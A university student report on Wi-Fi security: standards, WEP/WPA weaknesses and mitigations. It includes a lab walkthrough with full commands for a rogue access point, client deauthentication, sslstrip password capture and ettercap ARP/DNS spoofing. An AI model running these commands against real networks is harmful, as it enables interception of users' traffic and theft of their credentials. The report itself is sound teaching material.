Practical WLAN Security

Mikael Hermansson Anton Holmgren
Email: {mikhe436,antho733}@student.liu.se
Supervisor: David Byers, {david.byers@liu.se}
Project Report for Information Security Course
Linköpings universitetet, Sweden

Abstract

This report covers various security issues related to wireless networks. At first some basic knowledge about wireless standards and the architecture of 802.11 networks are presented and also some basic attack theory. The current security standards related to wireless networks (WEP, WPA and RSN/WPA2) is reviewed and issues and shortcomings related to these standards are introduced.

In addition, two different practical attacks are presented. The first attack is called "Rogue AP" which is about forging a wireless access point and make clients connect to the fake access point. The other practical attack is called "Response Forging" which is about forging DNS/DHCP requests in wireless networks.

The practical attacks shows that there exist real threats against wireless networks which can be performed by an attacker with limited knowledge about the lower level details and with cheap equipment.

1. Introduction

Today wireless networks are deployed almost everywhere ranging from home networks to more sensitive applications like office networks that may be connected to larger corporate networks. Wireless networks are attractive to a wide range of users which leads to increased prevalence and use of wireless networks.

Due to the fact that wireless networks are wireless and uses the air as transport medium, which anyone can tap with cheap equipment, there are lots of security concerns. This means that more focus needs to be placed on various security technologies in comparison to wired networks.

This paper explains how the wireless networks standards work regarding security and some of the issues that exists. This paper also walks through two different practical attacks related to wireless networks.

The reader will first be introduced to how the theory and standards are related to the attacks then the tools used are introduced and finally how the attacks are performed with results and conclusions about impact and likelihood are presented.

The performed attacks are called "Rouge Access Point" and "Response Forging" which means that man-in-the-middle attacks are performed by acting as the legitimate access point or by forging network requests.

2. Background

This section describes the necessary theory needed for understanding the attacks.

2.1 Wireless Network Standards (802.11)

The various standards for Wireless Local Area Networks are defined by the Institute of *Electrical and Electronics Engineers* (IEEE) and are defined in 802.11: Wireless LAN *Medium Access Control* (MAC) and *Physical Layer* (PHY) Specifications [1]. All various standards in 802.11 use the same MAC method called CSMA/CA, which is used to increase throughput by lowering the number of collisions. In the various standards of 802.11 the things that varies is for example frequency and speed. When 802.11 was designed security was considered to have high priority [2], but due to export restrictions in some governments, the security was intentionally weak but was enhanced in 802.11i [3].

2.1.1 Architecture

In wireless networks all the communicating parties are called stations and each station has a unique identifier, which is called a *Media Access Control* (MAC) address. The central node that controls the traffic in each 802.11 network is called an *access point* (AP). Each wireless LAN has a *service set identifier* (SSID) which is the name used to identify the network.

A *basic service set* (BSS) is all the devices that are connected to a single AP. Several BSS working together with the same SSID is called an *extended service set* (ESS).

In the 802.11 networks there are two types of networks: independent networks and infrastructure networks. When using an independent network all communication is directly between the stations and is less commonly used. In an infrastructure network on the other hand all traffic is handled by an AP, this means that if two mobile units are

communicating then the frames always needs to be sent through the AP. When using an infrastructure network all stations must associate with the AP to gain access to the network services and by examining the contents of the association request the AP decides to grant or deny access. [4]

2.1.2 Frames

In the 802.11 standards each frame contains lots of information needed for the communication to work as specified, this include things like the MAC addresses of both the source and the destination, the protocol version, which type of frame it is and frame sequence number. [5]

There are three different kinds of frames in the 802.11 standards and the first type is called management frames. This type is used for establishing connections and handling the connection. There are various common subtypes of the management frames, which includes authentication/deauthentication frame, association request/response frame, beacon frame, probe request/response frame. In the authentication frame, shared key authentication is optional, and if used then the access point will send a challenge to the *Network Interface Card* (NIC), which shall reply with a correctly encrypted version of the challenge. [5]

The second type of frames is control frames, which assists the communication between stations. Some common subtypes of the control frames are RTS (Request to Send), CTS (Clear to Send) and ACK (Acknowledge). [5]

The last type of frames is the data frames which are used to send the packets containing data from the higher level protocols. This could be things like the contents of a web page or similar, and this data is placed in the frame body. [5]

3. Attack Theory

This section briefly explains some basic attack methods and concepts.

3.1 Denial of Service

Denial of Service (DoS) is an attack type that is intended to make the target system unavailable or prevent normal usage of the system. DoS attacks are mainly overload attacks, which consume all the resources so that the intended services cannot be provided.

Wireless networks are vulnerable to various kinds of DoS attacks, for example the management frames in a wireless network lacks protection and this opens up for disassociation and deauthentication attacks where an attacker creates a forged disassociation frame which appear to come from the AP. This will cause the client to disassociate and when the client tries to re-associate the attacker only needs to send repeated forged disassociation frames to keep the client disassociated. [2]

Another DoS attack that is possible to perform in wireless networks is to take advantage of the ability to reserve the radio channel in the CSMA/CA protocols. This means that no other devices can send packets for a specified amount of time and is used to avoid interrupts. This can be used repeatedly by an attacker to disallow other devices to communicate on the network. [2]

Radio frequency jamming is another DoS attack where the attacker jams the frequency which the WLAN operates on which makes it impossible to interpret the network signals. [6]

To mitigate DoS attacks in wireless networks there are various methods that can be used. For example a channel surfing method could be used. This means that the wireless devices change the channel they are operating on when the current cannel is blocked. Another method that could be used is called spatial retreats which mean that the devices move to a safe location. [7]

Other mitigation methods include making the building containing the wireless network as resistible as possible to incoming wireless signals or installing a wireless intrusion detection system (IDS), which is further explained in section 4.6.

3.2 Man-in-the-middle

Both the practical attacks explained in this paper are of the type called *man-in-the-middle* (MITM) attack. The goal of such attack is to redirect and intercept all or certain traffic from the subject through equipment which the attacker has control over. By intercepting traffic the attacker will function as a gateway for the subject and make connections on behalf of the subject. This is ideally done without the subject being aware of the attack.

3.3 Attacking DNS

The *Domain Name System* (DNS) holds interesting data for MITM attacks because DNS tells the client which IP address that is related to a domain [8]. In wireless networks it is possible to discover DNS requests that are sent and by capturing those requests an attacker can gain information that would will make it possible to forge the response. In a forged DNS response an attacker will most likely misinform the client that the domain in question is an IP address controlled by the attacker.

3.4 Attacking DHCP

Dynamic Host Configuration Protocol (DHCP) is a protocol that tells the requesting client the IP address of the internet gateway and the default DNS servers [9]. If an attacker is successful of responding to a DHCP request a client can be told which internet gateway and DNS servers to use, those servers are most likely to be servers that are in

control of the attacker. By doing that the attacker has successfully performed a MITM attack.

4. Wireless Security

This section describes the various security mechanisms that exist in wireless networks and some of their issues and shortcomings. The security mechanisms described here all are part of the 802.11 standards.WEP was the first security standard that was defined, to fix the security issues in WEP, IEEE began to develop a new security standard named 802.11i (also called RSN). WPA uses the initial drafts from 802.11i while WPA2 is the more long term solution which uses the mandatory parts in the final 802.11i standard.

4.1 WEP

Wireless Equivalent Privacy (WEP) is defined in the 802.11 standard and is the basic security mechanism. The basic goal of WEP was to provide the same level of security as a wired network. [10] WEP uses a stream cipher called RC4 which simulates a one-time pad [11].

A one-time pad is a type of encryption that is proven to be impossible to crack if used correctly. Correct use of a one-time pad requires a key of equal or greater length than the plain text. [12]

WEP uses RC4 with a 64-bit key, where 40-bits are secret and the other 24-bits are called the *initialization vector* (IV). The purpose of the IV is to make the key unique for each packet, and the IV is sent in clear text. The key stream used by RC4 is created by a *pseudo random number generator* (PRNG) with the seed value set to the WEP key. A key where only 40-bits are secret will cause the PRNG to produce the same key stream for different plain texts. This opens up for statistical analysis of the cipher text and from that analysis the 40-bit secret key can be uncovered. This is the main problem with WEP and then an attacker can capture packets where some have the same IV, hence the same key stream was used. [11]

Another security issues that exists within WEP is that the *integrity check value* (ICV) based on CRC-32 which is used for message integrity is weak. The reason is that because it is based on a linear function which makes it possible to make changes to the data and correct the ICV accordingly. [13]

4.2 WPA

Since WEP has serious security issues it was clear that there had to be improvements in wireless security. The *Wi-Fi Protected Access* (WPA) security protocol was developed by Wi-Fi Alliance before the 802.11i standard was released. [11]

WPA was intended to take the place of WEP while 802.11i was formalized. WPA still uses the components of WEP with a few enhancements and this is mainly because hardware constraints on the currently deployed network devices. This meant that only a firmware update was needed to make the devices compatible with WPA. [11]

Both WPA and WPA2 contains two different modes, Enterprise Mode which uses 802.1X authentication and Personal Mode which is further explained in section 4.4.

Temporal Key Integrity Protocol (TKIP) was brought into WPA and it introduces larger keys (128-bit per packet key), a key mixing function in several steps, separate integrity keys and packet sequencing (to prevent replay attacks) [1].

Also a 4-way handshake protocol was added to derive keys unique for each session and this handshake is described in more detail in section 4.3.

WPA increased the size of the IV from 24-bits to 48-bits which decreases the chances for collisions. In addition WPA also checks which values that are approved for use as IVs and generates a new password every 10,000 packets which decreases the possibilities for the statistical attacks to be successful. [14]

Instead of only the ICV that WEP uses WPA includes a *message integrity code* (MIC) called Michael to try to overcome malicious frames. Michael uses the MAC addresses of both the sender and the receiver to make a unique integrity value. [14] Michael was created to provide 20 bits of security (to meet performance requirements) which means that at forgery can be created in 2^{-20+1} packets [9]. This opens up for brute-force attacks against Michael. To make up for this if two invalid packets are detected within a minute then all passwords are reset and the network is stopped for one minute. This fact could be used by an attacker to perform a DoS attack by injecting incorrect packets. [14]

WPA also provides protection against forgery by using a sequence number and the MAC address of the sending NIC to create the 48-bit IV which means that the attacker must know these values that are encrypted in the packet. [14] To prevent replay attacks TKIP also mixes the sequence number into the encryption key. This implies that if an attacker changes the packet sequence number then the encryption key for that packet will also be changed. [11]

The Beck-Tews attack demonstrated some weaknesses in TKIP where it was possible to recover a packet key-stream and inject small amount of data to the network. The data can be an ARP packet which can be used to perform a man-in-the-middle attack. [11]

There are other security issues with WPA, some of them are common for both WPA and WPA2 and concerns authentication and handshake, described in the following sections.

4.3 802.11i Handshake

802.11i added a 4-way handshake which occurs after the client is associated with the AP and is used to derive the *pairwise transient key* (PTK) which is used to encrypt

messages on the network. The PTK is derived by a PRNG with client MAC address, AP MAC address, a *pairwise master key* (PMK) and two nonces generated by the client and the AP. The PMK can be a shared key or derived from 802.1X authentication see section 4.5 for further explanation. The PTK is a container for three keys. The temporal key, the *key confirmation key* (KCK) and the *key encryption key* (KEK). [11]

The temporal key is used for normal communication on the network while the KCK and KEK is used to securely deliver new temporal and group temporal keys to and from the AP, the KCK is used for integrity check and KEK is used for encrypting the keys. [11]

After the client is associated the AP generates and sends a *authenticator nonce* (ANonce) to the client which also generates a *supplicant nonce* (SNonce) and installs the PTK. Then the client sends the SNonce to with a KCK encrypted MIC, (note that both nonces are sent in clear text). The AP then installs the PTK for the client and sends a KCK encrypted *group temporal key* (GTK) with a KCK encrypted MIC. The client verifies that the AP has the correct PTK and installs the GTK. The client then sends a KEK encrypted ACK with a KCK encrypted MIC to the AP and the AP verifies that the client has the correct PTK. The GTK is used for group communication such as broadcast and multicast messages on the network thus the GTK is shared by all clients connected to that AP. [1] [11]

4.4 WPA2 / RSN

The 802.11i standard which is also called *Robust Security Network* (RSN) was developed to increase wireless security substantially by redesigning the whole security architecture. WPA2 is a security protocol that was developed by Wi-Fi alliance which requires the mandatory parts of 802.11i. [15]

RSN includes TKIP (discussed above), and new security mechanisms based on the *Advanced Encryption Standard* (AES) called *Counter Mode with Cipher Block Chaining Message Authentication Code Protocol* (CCMP) [11]. CCMP uses a 128-bit key and a 128-bit block size and is currently the strongest protection available for 802.11 based wireless networks.

There were many different features that were desired for the AES mode of operation. For example the possibility to perform some of the computations in advance to reduce latency and to allow pipelining for increased throughput. Other desired features include reduced computation time by using only one key for confidentiality and integrity. None of the already existing modes of operation could combine all the desired features and therefore a new mode of operation called CCM was created. CCM uses the counter mode for encryption and *Chiper Block Chaining Message Authentication Code* (CBC-MAC) for integrity protection. [10]

Since CCMP uses AES instead of RC4 there is no need for any per-packet keys which means that CCMP can use a single AES key for a whole association. CCMP has a 48-bit IV, it is used to provide replay detection by using it as sequence number. The 48-bit IV also makes sure that the lifetime of the AES key is much longer than any possible association which makes it possible to handle key management only in the beginning of an association. [10]

Both WPA and WPA2 can operate in two different modes, Enterprise Mode or Personal Mode. Enterprise Mode uses the 802.1X authentication framework is described in section 4.5.3. The other mode called Personal Mode is created for smaller offices or home networks and uses a *pre-shared key* (PSK) for authentication. This means that a pass phrase is used to produce the encryption key. How shared key authentication works is described more in section 4.5.2. [16]

Even though the 802.11i standard has increased the security in wireless networks there are still lots of issues to take into consideration. The PSK authentication method that can be used in both WPA and WPA2 has some security issues due to that the shared key is static and shared by all clients on the network. This allows an attacker to record the authentication handshake for later cracking. [17]

Another security issue in concerning WPA2 is called "Hole 196" and enables an attacker to spoof wireless network packets to compromise the network. This attack is possible both for networks using 802.1X or PSK, but is confined to work only within a network where the credentials are known. This is an attack that could be performed in three different ways. The first is to perform a man-in-the-middle attack by using ARP poisoning, the second is to impose malicious code to another device and the third is to perform a DoS attack. [18]

4.5 Authentication

In the basic 802.11 standard there are two types of authentication, open system and shared key authentication which are described in this section. 802.1X Authentication which is a special implementation of shared key authentication is also explained in this section.

4.5.1 Open Authentication

Open authentication is basically no authentication and it is used in open systems which allow any client to use the wireless network.

4.5.2 Shared Key Authentication

In shared key authentication the clients and the AP has a secret which only they know which is used to authenticate clients to the network. The authentication begin when the client sends an authentication request in clear text which the AP responds with a challenge (a 1024 bit random number) to

the client and the client responds with a response which is a cipher text of the random number encrypted with the shared key. The AP then accepts or rejects the authentication request, if accepted the client association can begin.

Shared key authentication poses some security concerns because the secret for gaining access to the network is commonly known which increases the chance that the secret is uncovered. WEP uses the 40 bit secret to encrypt the challenge presented by the AP while WPA and WPA2 encrypts the challenge with the shared key created by a hash function (SHA1-HMAC) with a pass-phrase, the SSID of the network and the length of the SSID as input. How it is possible to uncover the shared key in WEP is discussed in section 4.1. WPA and WPA2 don't use a per packet key for authentication which allows an attacker to record the WPA handshake which is in clear text. Because it can be recorded it is possible to do an offline brute force or dictionary attack on the shared key and pre-computed tables can help to make such attack more efficient. Because the pass-phrase is hashed with the SSID of the network the use of pre-computed tables is a less likely, however there exists tables that are pre-computed for common passwords and SSIDs [19]. The pace of a brute force attack is mitigated by applying the hash function 4096 times [20].

4.5.3 802.1X Authentication

RSN uses 802.1X authentication which is a standard for authenticating ports on a network [21]. In the case of wireless networks a port is a cryptographic tunnel and the authentication is preformed according to *Extensible Authentication Protocol* (EAP) [1]. EAP specifies the steps the implementation has to do but not how they are done [22]. One such implementation is e.g. *Protected Extensible Authentication Protocol* (PEAP) developed by Cisco, Microsoft and RSA. PEAP can for example use MSCHAPv2 handshake for authentication [23].

EAP is a request-response type protocol and in the context of wireless networks there are often three subjects involved in the authentication. The client requesting to be authenticated, the AP as the role of authenticator and an *authentication server* (AS) which performs the authentication. If 802.1X authentication is used it occurs between the association and the 4-way handshake, the EAP session starts by the AP requesting the identity of the client which the client responds with its identity. The AP takes the clients identity and formulates an access request to the AS and the AS starts negotiation with the client about which EAP implementation to use. After the negotiation is complete the client can authenticate with the AS using the AP as a relay station for its EAP requests and responses. The client starts the authentication with a start message which the AS responds with its digital certificate (public key) and the client uses the certificate to encrypt a nonce which is sent to the AS. The AS gets the nonce by decrypting with its private key and sends a request for credentials, encrypted with the nonce. The client responds with its credentials, encrypted with the nonce. The AS examines the credentials and responds with authentication success or failure, in the case of success the AS generates a *master session key* (MSK) and sends it encrypted to the client and the AP. The next step is to perform the handshake to install the transient keys between the client and the AP where the MSK is used instead of the PMK. [11] [23]

4.6 Intrusion Detection

To provide intrusion detection in wireless networks an *intrusion detection system* (IDS) can be used. An IDS monitors the network for suspicious activity. As the name implies IDSs are not focused on preventing intrusions, only detecting them. On the other hand an IDS can increase the chance to understand that an attack has occurred and to understand how to lower the impacts of the attack. A wireless IDS can for example help in detecting the location of the attacker, monitor for rouge access points and detect various DoS attacks. An IDS has both advantages and disadvantages compared to manual monitoring. The largest drawback is that IDS are not intelligent, but on the other hand an IDS is much better suited for analyzing large amounts of data. [2]

There are mainly two different types of IDS, *network intrusion detection system* (NIDS) and *host intrusion detection system* (HIDS). NIDS monitors the network for suspicious activity while a HIDS monitors a single host or device on the network. [2]

5. Practical Attacks

This section describes how the two practical attacks were performed, what kind of preparations that were needed and the results of the attacks.

5.1 Preparations

To carry out the practical attacks we decided to use the Linux distribution called *BackTrack*, a security distribution made for penetration testing. To perform the attacks we have mainly used parts of the *Aircrack-ng suite*, a set of tools for auditing wireless networks and *Ettercap*, a suite of MITM attacks. To be able to perform the various steps in the attacks a wireless network card that supports monitor mode and has packet injection capabilities is required. In monitor mode the wireless network card is not associated with a network and is passively listening on the ether. With a card supporting packet injection it is possible to send specially handcrafted network packets into the ether. For troubleshooting and network monitoring, we have used a variety of open source tools. This includes for example *Kismet*, a wireless sniffer and monitor, *inSSIDer*, a Wi-Fi scanning software and

Wireshark, a network sniffer that makes it possible to analyze the content of the network packets.

5.2 What We Assume

In both attacks it is assumed that access to a wireless network protected by a shared key is granted because this paper focuses on how to attack clients on an existing network. There are ways to technically find the shared key on systems protected with WEP, WPA and WPA2 (used in shared key mode) as discussed in section 4.5.2.

5.3 Rogue AP

A rogue access point is a wireless access point that is installed in an existing network without the knowledge of the network administrator or set up by an attacker to perform a man-in-the-middle attack. In this practical attack, we have focused on setting up a rogue AP to make clients connect to it instead of an existing AP. The rogue AP will broadcast the same SSID as the existing AP and by providing a stronger signal, either by placing the rogue AP closer to the clients or by using a larger and directed antenna, this will make the clients connect to the rouge AP instead. Another variant of this attack is to set up a rogue AP that responds on any SSID requests made by clients. By setting the MAC address of the rogue AP to the same as the real AP there are obvious conflicts on the network which can make the connections very unreliable, for both access points. When using different MAC addresses the automatic wireless network selection process relies on the operating system implementations. [24]

To entrap the wireless clients already connected to the existing AP a deauthentication attack can be performed. This is done by sending spoofed disassociation packets to the wireless clients that are currently associated to the real AP. The disassociation packets will force the clients to try to reconnect to the wireless AP and now there is a chance that they will connect to the rogue AP instead. To make this attack more effective various DoS attacks can be launched against the real AP.

5.3.1 Setup

To perform this attack we used a laptop equipped with a network card that supports monitor mode and can perform packet injection. The laptop should have some form of internet connection (such as a 3G modem) to be able to provide the same functionality as an AP that is being attacked. To perform this attack various software tools are required. This includes airbase, *aireplay*, *airmon*, *mdk3* (for DoS), a DHCP server (we used *dhcp3*). Full documentation of the commands can be found by the man command.

In this attack we also used a tool called *ssltrip* to provide an example of how this attack could be used to for example obtain passwords from SSL protected websites.

5.3.2 Execution

First confirm that your wireless card has injection capabilities, our wireless interface is wlan0 yours may differ depending on the wireless driver you are using.

aireplay-ng -9 wlan0

To setup a rouge AP with airbase-ng we first need to put the wireless card into monitor mode with airmon-ng, it is important that you start the monitoring on the same channel that you want to set up your rouge AP (in this case it is on channel 11).

airmon-ng start wlan0 11

Airmon creates a new interface in our case called mon0 and we use that interface to setup our AP with airbase, the command below sets up an AP with SSID "FreeWiFi" on channel 11.

airbase-ng -e FreeWiFi -c 11 mon0

Airbase starts another interface called at0 which is used to handle traffic from and to the AP. Alternatively the -P option can be used which tells airbase to accept request on any SSID. Bring the interface at0 up, assign an IP address, a subnet and add the gateway to the route table (in this case 10.0.0.1/24). We also need to lower the *maximum transmission unit* (MTU) of the interface you may need different MTU depending on hardware and DHCP settings.

ifconfig at0 up
ifconfig at0 10.0.0.1/24
ifconfig at0 mtu 1400
route add -net 10.0.0.0/24 gw 10.0.0.1

Clean up previous iptables rules (you may skip this if you know what you are doing).

iptables --flush
iptables --delete-chain
iptables -t nat --flush
iptables -t nat --delete-chain

Set up a forwarding rule for DNS, the IP of the DNS server can be whatever you want, something you control or just the standard gateway.

iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to 192.168.0.1

Set up IP masquerading on output interface eth0, this will automatically do network address translation on traffic to eth0. Change eth0 to the interface connected to the interface which has internet access.

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Add an iptables rule that accepts all forwarding traffic from the at0 interface.

iptables -A FORWARD -i at0 -j ACCEPT

Make sure that IP forwarding is enabled, so the iptables rules will work. This command should be run after all iptables commands.

echo 1 > /proc/sys/net/ipv4/ip_forward

Next setup a DHCP server on at0 interface so that if clients associate with the AP they will get an IP address. We used the dhcp3 server and this is our configuration. Save it to a file called dhcpd.conf. Notice that the IP addresses and subnets corresponds with the IP address we gave the at0 interface.

```
option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
authoritative;
log-facility local7;

subnet 10.0.0.0 netmask 255.255.255.0 {
        range 10.0.0.100 10.0.0.200;
        option routers 10.0.0.1;
        option domain-name-servers 10.0.0.1;
        option subnet-mask 255.255.255.0;
        option broadcast-address 10.0.0.255;
}
```

Start the DHCP server on interface at0 (it is possible to use the */etc/init.d/* script also just make sure to change interface in */etc/default/dhcp*).

dhcpd3 -d -f -cf /path/to/dhcpd.conf -pf /path/to/dhcp.pid at0

Now clients should be able to connect to your rouge AP and still surf the internet (assuming you are connected to the internet) and you can do basically what you want. This paper does not go into depth into various MITM attacks but we will show sslstrip as a demonstration. sslstrip is a tool that intercepts https traffic and forces the clients to use http instead while it still uses HTTPS to the server. This enables us to capture what was meant to be encrypted traffic such as username and passwords. Here is a walkthrough how to use sslstrip.

Run sslstrip and tell it to listen on port 10000 and write SSL encrypted data to the file "secret".

sslstrip -l 10000 -w secret

Redirect all http traffic to sslstrip with iptables by redirecting all traffic on port 80 to port 10000 (the port sslstrip is listening on).

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000

Now can one of the connected clients visit a SSL protected site such as Gmail, Facebook or maybe their bank not noticing that they still are using regular http.

To dissociate and/or deauthenticate clients from the real AP both mdk3 and aireplay-ng can be used to perform DoS attacks.

We used this command to deauthenticate the client with MAC address *55:44:33:22:11:00* from AP with MAC address *00:11:22:33:44:5*.

aireplay-ng -0 5 –a 00:11:22:33:44:55 –c 55:44:33:22:11:00 mon0

This command will try to disassociate and deauthenticate all clients on channels 1,6 and 11. It is also possible to with –b option supply a blacklist or a white list with –w option (mdk3 command can be found in */pentest/wireless/mdk3* in BackTrack).

mdk3 mon0 d –c 1,6,11

5.3.3 Result

Setting up the Rouge AP with airbase was fairly straightforward although many components has to fit together with each other and we noticed that it is definitely possible to do small mistakes which may be time-consuming to troubleshoot. Using airbase to set up the AP had some advantages and disadvantages in our experience. The advantages are that minimal hardware is required, a USB based wireless card for about 100 SEK proved to work really well. It was also easy to play around with different configurations of the AP rather easily. The disadvantages with airbase is that by the time of writing this document it is not possible to setup an WPA or WPA2 based AP but it is possible to set flags to use CCMP or TKIP for capturing WPA handshakes, we expect that this feature is quite useful for if cracking WPA shared keys although that is out of scope of this paper. We also noticed a known bug in airbase where the SSID appeared scrambled on Windows machines. Our experience when testing the DoS attacks was that it is definitely possible to disrupt the connection between the client and the AP but hard to actually dissociate the client from the AP to get the client to automatically reconnect to our malicious AP. While a client was connected to our AP the network traffic worked well without disruptions, or noticeable increased latency.

5.4 Response Forging

This attack focuses on forging DNS and DHCP requests in wireless networks.

To respond to DHCP requests it is possible to set up a competing DHCP server on the network. To do that the attacker needs to associate with the wireless network and set up a DHCP server on the wireless interface. When a client

connects to the network the attacker has a chance to respond to the DHCP request made by the client because DHCP protocol sends DHCP discovery messages on the broadcast address. Because the client is associated to the network the client can see group communication encrypted with the GTK. If the attacker is successful of responding to the DHCP request it can tell the client its default gateway. To increase the success rate of this type of attack and DHCP exhaustion attack on the real DHCP server can be performed. Such attack will reserve all IP addresses of the defaults DHCP server and will lead to that the DHCP server will not able to respond on future requests.

In the DNS forging attack the goal was to sniff the wireless network for DNS requests and send forged DNS responses. This proved harder than expected since it requires assembling and decryption of the packets. This can be done but requires more resources. Instead, we chose to use a MITM attack based on address resolution protocol (ARP) poisoning which is an attack where spoofed ARP messages are sent to associate the attacker's MAC address with the IP address of the AP, and this makes the attacker able forge the DNS responses.

5.4.1 Setup

To perform these attacks the laptop needs to be connected to the wireless network to be attacked. For the DHCP forging attack a local DHCP server needs to be installed and configured on the laptop, in this attack we have chosen to use *dhcp3*. To perform the DNS forging we have chosen to use Ettercap together with the *dns_spoof* plugin.

5.4.2 Execution

The DHCP forgning requires a DHCP server and this is setup by creating a configuration file, preferably named dhcp.conf. In this file we specified for example which default gateway and DNS server that shall be used by the clients which can be used by an attacker to perform various attacks. To start the DHCP server on the wireless interface (in our case called wlan0) the following command was entered in the terminal:

dhcpd3 -d -f -cf /path/to/dhcpd.conf -pf /path/to/dhcp.pid wlan0

To be able to forge DNS at first we need to locate and modify the configuration file for the dns_spoof plugin. This file is named etter.dnd and is located in */usr/share/ettercap/*. This is where you can enter which domains to resolve to which IP addresses. In this attack all sub-domains of liu.se was redirected to a local web server on the laptop by adding the following line (where 192.168.0.199 is the IP address of the laptop) to the etter.dns file.

**.liu.se A 192.168.0.199*

To create the local web server we used Apache HTTP Server which is preinstalled in BackTrack. To perform the attack we started Ettercap and set it to sniff the wireless interface. The next step was to select the hosts to attack, in this case we chose all hosts on the current AP. Further on ARP poisoning needs to be enabled to perform a MITM attack and capture and redirect the traffic. Finaly the dns_spoof plugin in Ettercap needs to be enabled. To make Ettercap perform all these steps the following command can be entered in the terminal: "*ettercap –T –q –i wlan0 –P dns_spoof –M arp // //*", where wlan0 is the name of the wireless interface and and // // specifies all the hosts on the network.

5.4.3 Result

The DHCP forging attack was sporadically successful (the clients received DHCP responses from our DHCP server) but there was serious conflicts since there were two active DHCP servers on the network. This could be reduced or avoided totally by performing various types of DoS attacks against the other DHCP server.

The DNS forging attack was very effective and all subdomains of liu.se redirected to the local web server. When the attack is shut down Ettercap will "re-arp" the clients to reset all entries to their correct values, for some clients this worked directly and others required a manual flush of the DNS cache.

6. Conclusions

The practical attacks was preformed with limited number of clients in our lab environment and therefore it is hard to extrapolate what will happen if used in a live environment with a set of real users.

In the case of the Rogue AP attack it is definitely possible to setup an AP rather inconspicuously and if it possible to disrupt the traffic on another network for a client, depending on the user it may be more or less likely that they are willing to choose another network that is available. Our experience is that it is hard to get a client to automatically reconnect to the rogue AP when performing a DoS attack against clients connected to the real AP. Often the user was required to perform a manual reconnect which meant that the user had to decide which network to connect.

In the response forging attack we discovered that DHCP is easier to forge without involving other techniques compared to DNS where we used ARP poisoning to forge the DNS replies. Our opinion is that it is easy to forge DHCP responses by setting up a DHCP server but it is much harder to get it to work well. The additional part of this consists of disabling the other DHCP server in some way and the various methods for this has not been studied in detail in this report. For the two response forging methods studied in this paper we used tools that were highly automated and it was not

much work to get the attacks working. The DNS forging attack was very successful and there were no problems or difficulties when we executed the attack.

6.1 Likelihood

The likelihood of the Rouge AP attack is highly dependent that the user is willing to connect to an unknown unencrypted network.

The requirements for setting up the response forging attacks are low and can be performed by anyone with some computer knowledge using a tutorial as guidelines. The DHCP attack has some race conditions if the competing DHCP server is still responding on the network which impacts the likelihood of success. The DNS attack has a very high likelihood of success since it is automated and easy to use.

6.2 Impact

If any of the attacks are preformed successfully the options for an attacker is close to limitless, the challenge for an attacker is to remain undetected, cause few disruptions in network traffic and avoid negative feedback to the user.

6.3 Mitigations

To mitigate the Rouge AP attack education of users is the best alternative but it may be hard for the untrained eye to detect a malicious network. There may be benefits to implement some negative triggers which will inform the user that something suspicious is going on for the more noisy attacks, such as the DoS attack.

To mitigate the DNS forging attack which uses ARP spoofing, there are possibilities to implement and deploy host based IDSs that notify users that something suspicious is going on when rows in the ARP table are modified.

In the case of DHCP forging (responding) it is possible to use a network based IDS that notifies the network administrator if there are more than one DHCP server on the network.

References

[1] IEEE Std 802.11-2007 http://standards.ieee.org/getieee802/download/802.11-2007.pdf [2011-03-29]

[2] D. Byers, Practial Network Security http://www.ida.liu.se/~TDDD17/lectures/slides/tddd17_lec05_net.pdf [2011-04-01]

[3] Looking for 802.11g Wireless Internet Access information, definitions and technology descriptions? http://www.bbwexchange.com/wireless_internet_access/802.11g_wireless_internet_access.asp [2011-04-01]

[4] M. Gast, “802.11 wireless networks: the definitive guide”, Second Edition, 2005.

[5] J. Geier, ”Understanding 802.11 Frame Types” http://www.wi-fiplanet.com/tutorials/article.php/1447501 [2011-04-01]

[6] G. Robinson, Defending against 802.11 Wireless Radio Frequency Jamming http://www.brighthub.com/computing/enterprise-security/articles/14717.aspx [2011-04-04]

[7] W. Xu and T. Wood, “Wade Trappe and Yanyong Zhang, Wireless monitoring and denial of service: Channel surfing and spatial retreats: defenses against wireless denial of service”, WiSE’04, October 1, 2004.

[8] P. Mockapetris, DOMAIN NAMES - IMPLEMENTATION AND SPECIFICATION http://www.ietf.org/rfc/rfc1035.txt, November 1987

[9] R. Droms, Dynamic Host Configuration Protocol http://www.ietf.org/rfc/rfc2131.txt, March 1997.

[10] N. Cam-Winget, R. Housley, D. Wagner, and J. Walker, "Security Flaws in 802.11 Data Link Protocols”, Communications of the ACM, May 2003/Vol.46,No.5.

[11] K. Benton, "The Evolution of 802.11 Wireless Security", INF 795, April 18th, 2010.

[12] D. Rijmenantis, "The complete guide to secure communications with the one time pad chipher", Cipher Machines & Cryptology, 2010.

[13] InteropNet Labs, "What’s Wrong With WEP?" http://www.opus1.com/www/whitepapers/whatswrongwithwep.pdf [2011-04-03]

[14] S. Forgie, “Cracking Wi-Fi Protected Access (WPA)” http://www.informit.com/articles/article.aspx?p=369221 [2011-04-15]

[15] G. Ou, “Understanding the updated WPA and WPA2 standards” http://www.zdnet.com/blog/ou/understanding-the-updated-wpa-and-wpa2-standards/67 [2011-04-04]

[16] Deploying Wi-Fi Protected Access(WPA) and WPA2 in the Enterprise http://www.wi-fi.org/files/wp_9_WPA-WPA2%20Implementation_2-27-05.pdf, March 2005.

[17] Tutorial: How to Crack WPA/WPA2 http://www.aircrack-ng.org/doku.php?id=cracking_wpa [2011-04-04]

[18] WPA2 Hole196 Vulnerability http://www.airtightnetworks.com/WPA2-Hole196 [2011-04-04]

[19] Church of Wifi WPA-PSK Rainbow Tables http://www.renderlab.net/projects/WPA-tables/ [2011-04-04]

[20] B. Kaliski, PKCS #5: Password-Based Cryptography Specification Version 2.0, http://www.ietf.org/rfc/rfc2898.txt, September 2000.

[21] Port-Based Network Access Control http://standards.ieee.org/getieee802/download/802.1X-2010.pdf [2011-04-04]

[22] Extensible Authentication Protocol (EAP) http://www.ietf.org/rfc/rfc3748.txt, June 2004.

[23] Protected EAP Protocol (PEAP) Version 2 http://tools.ietf.org/html/draft-josefsson-pppext-eap-tls-eap-10 [2011-04-04]
[24] D. Dai Zovi and S. Macaula, “Attacking Automatic Wireless Network Selection” http://www.theta44.org/karma/aawns.pdf, March 18, 200.